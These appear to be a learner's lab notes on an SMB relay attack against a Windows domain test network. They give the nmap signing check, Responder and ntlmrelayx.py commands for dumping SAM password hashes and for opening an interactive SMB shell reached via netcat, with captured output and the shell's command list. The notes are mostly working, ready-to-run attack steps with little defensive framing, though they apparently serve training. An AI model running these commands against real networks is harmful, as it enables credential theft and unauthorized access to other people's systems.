Discovering hosts

  • Possible with Nessus

  • With Nmap nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24 Example of what we get with this scan:

┌──(root💀kali)-[/home/kali]
└─# nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24

Nmap done: 256 IP addresses (5 hosts up) scanned in 28.67 seconds

The domain controller has enable and required, we wont relay on this machine.

SMB Relay Attack

Attack 1st way

  • In responder config (Responder.conf) we put http and smb on off

  • Responder command responder -I eth0 -rdwv

  • Launch ntlmrelayx.py (our target ips are in targets.txt) ntlmrelayx.py -tf targets.txt -smb2support

  • We should get som hashes on our kali

[*] Done dumping SAM hashes for host: 10.0.2.4

Attack 2nd way

  • We launch Responder (with http and smb off), we launch ntlmrelayx.py just like befor but with -i to try to get an interactive shell. ntlmrelayx.py -tf targets.txt -smb2support -i

  • It should work and mention that we got a shell

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 10.0.2.15, attacking target smb://10.0.2.4
[*] Authenticating against smb://10.0.2.4 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[STRIPPED]

  • We can netcat to get the shell: nc 127.0.0.1 11000

  • We have an smb shell:

└─# nc 127.0.0.1 11000                                        
Type help for list of commands
# help

open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)

Note: ntlmrelayx.py is really powerfull and has many commands, we could even launch other shells.
